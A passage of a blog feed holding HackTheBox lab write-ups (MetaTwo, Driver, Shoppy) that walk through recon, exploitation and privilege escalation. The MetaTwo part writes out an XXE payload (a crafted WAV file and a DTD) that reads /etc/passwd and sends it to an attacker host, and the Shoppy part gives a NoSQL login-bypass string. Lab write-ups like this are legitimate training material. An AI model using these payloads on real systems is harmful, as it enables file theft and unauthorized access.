&lt;p&gt;Here I could enter anything I wanted and got the following result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3898c5dc331d759f3131884f2cd84089.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Analyzing the request further in &lt;code&gt;burp&lt;/code&gt; yielded this result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/89642c6ef6ec1ab1c61d7c7285c5d326.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried to see whether this was injectable using &lt;strong&gt;XSS&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/258b3744880e31f71dd36d9dce6307b1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then tried out &lt;code&gt;xsstrike&lt;/code&gt; and got some false positives which didn&apos;t end up working.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3664eb845cd64238cc5cc9d01c40fae7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Moving on&lt;/p&gt;
&lt;h3&gt;Page source enum&lt;/h3&gt;
&lt;p&gt;Clearly I was still missing something so I went ahead and enumerated the other page that was accessible:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e57ed79d31082917fa35ff180765408c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s http://metapress.htb/events/ | grep plugins
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/29e066200603ef8da91a1fee5483f042.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Above I found another plugin that wasn&apos;t found by &lt;code&gt;wpscan&lt;/code&gt; on the mainpage, namely &lt;strong&gt;bookingpress-appointment-booking&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a37358293d2ee01624c0b728c32629b3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then looked up the version to see whether it&apos;s exploitable.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c9223e0bf257e9801dbac4685788bc05.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There&apos;s a PoC on &lt;code&gt;github&lt;/code&gt; available.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;CVE-2022-0739 - PoC&lt;/h2&gt;
&lt;p&gt;I went ahead and used &lt;a href=&quot;https://github.com/destr4ct/CVE-2022-0739/blob/main/booking-press-expl.py&quot;&gt;this PoC from github&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f7c1e7be4d9bc096463d230cf91b082c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As for the nonce it&apos;s mentioning, we can find it in this request:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a4647354567cb8dd634e1c69f854d68d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Combining the two we get the following result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/50c4f625f25a33a2dfd070e2bdcbf2b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can try and crack these hashes.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/69dd96e9dea02c9a9e44b03998fc3c89.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Hash cracking&lt;/h3&gt;
&lt;p&gt;We&apos;ll be using mode &lt;code&gt;400&lt;/code&gt; as per the docs:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c8024b01b2db2e072ef6435497c03a77.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/94e8f4b8962ac415d7a35f9ce02d8e76.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/067042d5d9406352575e457b7f55d704.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;manager
partylikearockstar
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can now go ahead and use these creds to log in.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ffac70941bf819c569018e9c562287a3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;CVE-2021-29447 - XXE&lt;/h2&gt;
&lt;p&gt;I started looking around for exploits for this &lt;strong&gt;WordPress&lt;/strong&gt; instance:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c1703d169adba3c074cc11919e49c1df.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Clicking on it I read the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a8db54f5f5e731589e8da9c1f65f7fe0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;PoC&lt;/h3&gt;
&lt;p&gt;We&apos;ll basically need 2 files:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;malicious.wav&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo -en &apos;RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;&amp;lt;!DOCTYPE ANY[&amp;lt;!ENTITY % remote SYSTEM &apos;&quot;&apos;&quot;&apos;http://10.10.14.5:80/xxe.dtd&apos;&quot;&apos;&quot;&apos;&amp;gt;%remote;%init;%trick;] &amp;gt;\x00&apos;&amp;gt; malicious.wav
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And &lt;code&gt;xxe.dtd&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!ENTITY % file SYSTEM &quot;php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd&quot;&amp;gt;
&amp;lt;!ENTITY % init &quot;&amp;lt;!ENTITY &amp;amp;#37; trick SYSTEM &apos;http://10.10.14.5/?p=%file;&apos;&amp;gt;&quot; &amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then go ahead and upload the file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4d8cb4b19ea6fe442049b936af8af694.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once we click it we get the response:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/18e00e1535b52bfc28592f1c7c971dea.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up we can use the following script in order to decrypt the response:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

echo zlib_decode(base64_decode(&apos;jVRNj5swEL3nV3BspUSGkGSDj22lXjaVuum9MuAFusamNiShv74zY8gmgu5WHtB8vHkezxisMS2/8BCWRZX5d1pplgpXLnIha6MBEcEaDNY5yxxAXjWmjTJFpRfovfA1LIrPg1zvABTDQo3l8jQL0hmgNny33cYbTiYbSRmai0LUEpm2fBdybxDPjXpHWQssbsejNUeVnYRlmchKycic4FUD8AdYoBDYNcYoppp8lrxSAN/DIpUSvDbBannGuhNYpN6Qe3uS0XUZFhOFKGTc5Hh7ktNYc+kxKUbx1j8mcj6fV7loBY4lRrk6aBuw5mYtspcOq4LxgAwmJXh97iCqcnjh4j3KAdpT6SJ4BGdwEFoU0noCgk2zK4t3Ik5QQIc52E4zr03AhRYttnkToXxFK/jUFasn2Rjb4r7H3rWyDj6IvK70x3HnlPnMmbmZ1OTYUn8n/XtwAkjLC5Qt9VzlP0XT0gDDIe29BEe15Sst27OxL5QLH2G45kMk+OYjQ+NqoFkul74jA+QNWiudUSdJtGt44ivtk4/Y/yCDz8zB1mnniAfuWZi8fzBX5gTfXDtBu6B7iv6lpXL+DxSGoX8NPiqwNLVkI+j1vzUes62gRv8nSZKEnvGcPyAEN0BnpTW6+iPaChneaFlmrMy7uiGuPT0j12cIBV8ghvd3rlG9+63oDFseRRE/9Mfvj8FR2rHPdy3DzGehnMRP+LltfLt2d+0aI9O9wE34hyve2RND7xT7Fw==&apos;));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ebc88d8f78587abd8f7dc390a1a60682.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::tldr
Through the &lt;strong&gt;XXE&lt;/strong&gt; vulnerability we were able to retrieve the &lt;code&gt;/etc/passwd&lt;/code&gt; file and find the &lt;em&gt;jnelson&lt;/em&gt; user.
:::&lt;/p&gt;
&lt;p&gt;I then tried to retrieve the &lt;code&gt;id_rsa&lt;/code&gt; from this user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e00a249c6059f9f40f81fcdd1aadce46.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately I did not get a valid response:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b31ecf6662741939f6a4fbffbe0d261e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So I tried out the following (with some variations until it worked):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b79b7b5f558c1034b3ad9f4d7ad676aa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1c61f6dcea239153ead0fd681ead5530.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then went ahead and pasted it inside the &lt;code&gt;decrypt.php&lt;/code&gt; script again.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8f0e2a97bf702501211be62fcc38e4b6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;blog
635Aq@TdqrCwXFUZ
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;metapress.htb
9NYS_ii@FyL_p5M2NvJ
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;22/TCP - FTP&lt;/h2&gt;
&lt;p&gt;Using the latter creds we were indeed able to log into &lt;code&gt;ftp&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/65576360b959768ead1f486e5a7b26be.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Diving further into the &lt;code&gt;/mailer&lt;/code&gt; directory we find:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/31aaf849e51ec1916d1b7927cd03d812.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Reading the &lt;code&gt;send_email.php&lt;/code&gt; file we find a set of &lt;code&gt;SSH&lt;/code&gt; creds for &lt;em&gt;jnelson&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fdc81bf4834c671002d339a7288efaf4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jnelson
Cb4_JmWM8zUZWMu@Ys
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SSH as jnelson&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0cdd0a628f389d44a97c7e38ce4bdd8f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;I was directly able to get the &lt;code&gt;user.txt&lt;/code&gt; flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/443ae0363e33ca36e5da55d6bf8bfe65.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2671573badc18d808edd1984635f25bc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside this &lt;code&gt;/home&lt;/code&gt; directory however I was able to find some interesting stuff:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e382be0feb524f253028ad8dcb5f6a05.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Checking the &lt;code&gt;root.pass&lt;/code&gt; yields us a a PGP encrypted message.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/de794b5addd273342917e21f8c94ca32.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::question
So what is &lt;strong&gt;passpie&lt;/strong&gt;?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/28d24320965dfc59578304dc363cccc4.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;Simply using the &lt;code&gt;passpie&lt;/code&gt; command outputs &lt;code&gt;*****&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/be6a3a9bba66619cf44823ab70cc1c9f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Checking the version:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2d43e2a2c7f88e08a18476e495c14444.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But this yields no PoC&apos;s, instead I copy over the &lt;code&gt;.keys&lt;/code&gt; output in order to try and crack it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d1dbf7b79ae7ecf9ec7b42d15764b0ff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Hash cracking&lt;/h2&gt;
&lt;h3&gt;gpg2john&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6be17687348a9c462783fac9f75bcfa9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can then crack it using &lt;code&gt;john&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/be3a39f8a30d618a85a0a52ff39f3513.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;blink182
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using this passphrase we can gather all the creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8f7759458736dd2b53f5b6908eeca563.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root
p7qfAZt4_A1xo_0x
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can now use these creds to log in as &lt;em&gt;root&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/73bd81d4aff30dfb3685086c580a12d7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/654b409f53fcb0b41df16d71e44e7b77.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/01ae70abedc18da73f05cf2e391ff539.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Driver</title><link>https://maxk9999.vercel.app/posts/driver</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/driver</guid><pubDate>Wed, 24 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.106
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC -sT -p- driver.htb -T5 --min-rate=5000 -vvvv -Pn

PORT     STATE SERVICE      REASON  VERSION
80/tcp   open  http         syn-ack Microsoft IIS httpd 10.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Site doesnt have a title (text/html; charset=UTF-8).
135/tcp  open  msrpc        syn-ack Microsoft Windows RPC
445/tcp  open  microsoft-ds syn-ack Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From the &lt;code&gt;nmap&lt;/code&gt; scan it seems like there&apos;s an account on port &lt;code&gt;80&lt;/code&gt; called &lt;em&gt;admin&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/13d2ebd9301400394077fa4d987d3a2c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seems like we&apos;re dealing with &lt;strong&gt;HTTP Basic Authentication&lt;/strong&gt;. Since we already know the username we will only need to identify the password.&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;hydra&lt;/code&gt; I can quickly find out the credential combination:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c471449b2c8741b543d195662debf2cc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Logging in brings me to the following page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0ad1aa2f1a01ad89f1f32b45335ce70a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Clicking on &lt;strong&gt;Firmware Updates&lt;/strong&gt; shows us this page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fffd443244b094ac93299be32d26e123.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried uploading a &lt;code&gt;webshell.php&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3d38010e28052196a39e8d429d296a06.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The URL told us that it worked:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eadc4acdda527e68d5f45f2059cd2dfb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However I wasn&apos;t able to access the webshell since I didn&apos;t know where it got uploaded, &lt;code&gt;burp&lt;/code&gt; didn&apos;t tell me either so there&apos;s probably a different route here.&lt;/p&gt;
&lt;h2&gt;445/TCP - SMB&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/00aacbae4c608ef2359318bc70135300.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I wasn&apos;t able to create a NULL session here, but this port is still open.&lt;/p&gt;
&lt;p&gt;I started digging around when I found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7d4c9cf158da3bd38b1f801f39be4e66.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eea6f8d2746b5c464d85610fa099db0d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can upload this file to the &lt;code&gt;smb&lt;/code&gt; share through the webserver, and catch the hashes through responder.&lt;/p&gt;
&lt;h2&gt;PoC&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8513e7c626806f1b09ad455fd0f669c0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ba8defe7c16ef672da934fbefd0cc07b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By running &lt;code&gt;sudo responder -I tun0&lt;/code&gt; I then catch the hash for &lt;em&gt;tony&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/634f0cfe4a80b4c09011839354f305b5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By using &lt;code&gt;john&lt;/code&gt; we can easily crack the password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5a65385ec25b1d92b8d02fb7e4c2368c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tony
liltony
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;5985/TCP - WinRM&lt;/h2&gt;
&lt;p&gt;Using the previously found creds we get easy access.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b3ec1b4b597b09aee9143eba49e7b060.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;Here we can get the &lt;code&gt;user.txt&lt;/code&gt; right away:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/42d7a28b585d218df44f047d1aa13a15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/111e50e562a03c9bca23a284c447074b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After scrolling through it I found a scheduled task:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cc24dd8c1ad614a922bdb4a4342a6175.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Before diving deeper into those files I enumerated further:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cf4c10db49b0a075744d8e3fbc8f7947.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The above tells us that the Spooler service is running. We can use &lt;code&gt;PrintNightmare.ps1&lt;/code&gt; to easily get &lt;em&gt;admin&lt;/em&gt; rights.&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;CVE-2021-1675 - PrintNightmare&lt;/h2&gt;
&lt;p&gt;I downloaded over the script and added the &lt;em&gt;tester&lt;/em&gt; user as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9900ca5fc17dc379762051df5762f2d0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can now easily log in as this user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5ebc47908d30989e5f87e5edd1eadf45.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/66bb9eea3b10db30b7a2d085a62c098f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Cleaning Up&lt;/h2&gt;
&lt;p&gt;As part of the clean up we can now delete all files from the system and delete the created user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c8a94f597d0001c803db0032ec5fbf96.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5d8f394a83dfad9401e1e5fbd4d14b7c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Shoppy</title><link>https://maxk9999.vercel.app/posts/shoppy</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/shoppy</guid><pubDate>Thu, 25 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.180
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC -sT -p- shoppy.htb -T5 --min-rate=5000 -vvvv -Pn 

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp   open  http    syn-ack nginx 1.23.1
|_http-title:             Shoppy Wait Page        
|_http-server-header: nginx/1.23.1
|_http-favicon: Unknown favicon MD5: D5F0A0ADD0BFBB2BC51607F78ECE2F57
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
9093/tcp open  http    syn-ack Golang net/http server
|_http-trane-info: Problem with XML parsing of /evox/about
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: DEAA4EF1DE78FC2D7744B12A667FA28C
|_http-title: Site doesnt have a title (text/plain; version=0.0.4; charset=utf-8).
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Thu, 25 Sep 2025 08:35:12 GMT
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2fe593d068f18d9a53a74f4fd3ee6e46.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The site did not have anything on the surface so I went ahead and used &lt;code&gt;gobuster&lt;/code&gt; to enumerate it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/377f5d931362b9d348d7d28f0c3184d7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then headed over to the &lt;code&gt;/login&lt;/code&gt; page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/567d253d0ee79b06dceac73b00b380db.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then tried to submit default creds and viewed the output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d71b7be11dca9baf8b937bd183fdf9d3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried manipulating it to achieve SQLi:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/70d1665c06e1dfc0d78c76703740dc32.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This isn&apos;t really helpful for now. Checking &lt;code&gt;wappalyzer&lt;/code&gt; yields nothing interesting either:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/119c5cdd3836cc6e835c290d74bda098.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;NoSQL Injection&lt;/h3&gt;
&lt;p&gt;Since the &lt;code&gt;&apos;&lt;/code&gt; was messing up the query and giving a timeout response it&apos;s still worth looking into &lt;strong&gt;NoSQL Injection&lt;/strong&gt; in case the server is running something like &lt;strong&gt;MongoDB&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;I searched for some payloads and found the following list:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a83a5eb38870537f964fcb1d2affa4d0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried my luck and found a payload that actually worked!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;username=admin&apos; || &apos;1&apos;==&apos;1&amp;amp;password=admin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6d24647f941839b41f5e7d294ff6de02.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and entered it on the website:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/31ab732a97c0bd44bda327176a9fc836.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/402ca02dbc72c31e69c2c5f3fd3d4b42.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Clicking on &lt;strong&gt;Search for users&lt;/strong&gt; lets me search for any users and give me their data:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/43af6e7479aff5614e179b191dd67866.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b729a847c8cb9c616ed6f25b33e6624d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Burpsuite Intruder&lt;/h3&gt;
&lt;p&gt;I then analyzed the request and found that if the user exists, then the response would be a &lt;code&gt;304&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a06321cade5643c30d8f0f08412fb326.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Otherwise it&apos;s a &lt;code&gt;200&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b133b54b49df3d6da6e854c165c8cd90.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using this knowledge we can initiate a &lt;code&gt;burp Intruder&lt;/code&gt; attack where we use a list with usernames to fuzz for existing users.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/57c78b9c9c5cb8362ee5a057cdc6640a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
